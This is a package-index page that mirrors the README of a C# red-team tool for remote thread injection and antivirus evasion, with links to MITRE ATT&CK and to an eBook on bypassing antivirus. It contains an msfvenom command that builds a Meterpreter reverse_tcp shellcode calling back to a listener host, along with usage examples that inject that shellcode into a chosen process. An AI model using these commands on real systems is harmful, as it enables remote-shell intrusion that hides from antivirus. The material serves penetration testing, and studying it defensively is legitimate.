https://github.com/damonmohammadbagher/nativepayload_tinjection

Remote Thread Injection by C# + Delegate Techniques
https://github.com/damonmohammadbagher/nativepayload_tinjection

antivirus antivirus-evasion csharp pentesting process-injection redteaming thread-injection

Last synced: about 1 year ago
JSON representation

Remote Thread Injection by C# + Delegate Techniques

• Host: GitHub
• URL: https://github.com/damonmohammadbagher/nativepayload_tinjection
• Owner: DamonMohammadbagher
• Created: 2021-02-01T00:38:55.000Z (over 5 years ago)
• Default Branch: main
• Last Pushed: 2023-06-06T00:32:56.000Z (about 3 years ago)
• Last Synced: 2025-04-19T17:16:42.133Z (about 1 year ago)
• Topics: antivirus, antivirus-evasion, csharp, pentesting, process-injection, redteaming, thread-injection
• Language: C#
• Homepage:
• Size: 690 KB
• Stars: 12
• Watchers: 1
• Forks: 3
• Open Issues: 0
• Metadata Files:
  • Readme: README.md

Awesome Lists containing this project

README

          
# NativePayload_Tinjection

Creating Remote Thread into Target Process , (Remote Thread Injection by C# + Delegate Techniques)

-----------------------

Related Links for "Mitre ATT&CK": 

Process Injection: Portable Executable Injection ==>  https://attack.mitre.org/techniques/T1055/002/

Process Injection: Dynamic-link Library Injection ==> https://attack.mitre.org/techniques/T1055/001/

--------------------------

Your Payload Should be Msfvenom Payload ... 

msfvenom –platform windows –arch x86_64 -p windows/x64/meterpreter/reverse_tcp lhost=w.x.y.z -f c > payload.txt

-------------------------

    Code1: NativePayload_Tinjection.exe [TPID] [PAYLOAD]

    Code2: NativePayload_Tinjectionx.exe [TPID] [PAYLOAD]

    

    Code3: NativePayload_Tinjection2.exe [TPID] [PAYLOAD]

    

    Code4: NativePayload_Tinjection2nt.exe [TPID] [PAYLOAD]

    EXAMPLE: NativePayload_Tinjection.exe 2452 "FC,48,83,00,..."

    EXAMPLE: NativePayload_Tinjectionx.exe 2452 "FC,48,83,00,..."

    

    EXAMPLE: NativePayload_Tinjection2.exe 2452 "FC,48,83,00,..."

    

    EXAMPLE: NativePayload_Tinjection2nt.exe 2452 "FC,48,83,00,..."

    

------------------------------------------------

Article [1]: https://www.linkedin.com/pulse/bypassing-anti-virus-creating-remote-thread-target-mohammadbagher

step by step => Chapter 14: C# Delegate & Remote Thread Injection Technique (Part1)

https://github.com/DamonMohammadbagher/eBook-BypassingAVsByCSharp/blob/master/CH14/Bypassing%20Anti%20Viruses%20by%20C%23.NET%20Programming%20Chapter%2014%20-Part1.pdf

------------------------------------------------

online eBook, (chapters): https://damonmohammadbagher.github.io/Posts/ebookBypassingAVsByCsharpProgramming/

------------------------------------------------

NativePayload_Tinjection.cs

![](https://github.com/DamonMohammadbagher/NativePayload_Tinjection/blob/main/Picture/2.jpeg)

NativePayload_Tinjection2nt.cs

![](https://github.com/DamonMohammadbagher/NativePayload_Tinjection/blob/main/Picture/NativePayload_Tinjection2nt.png)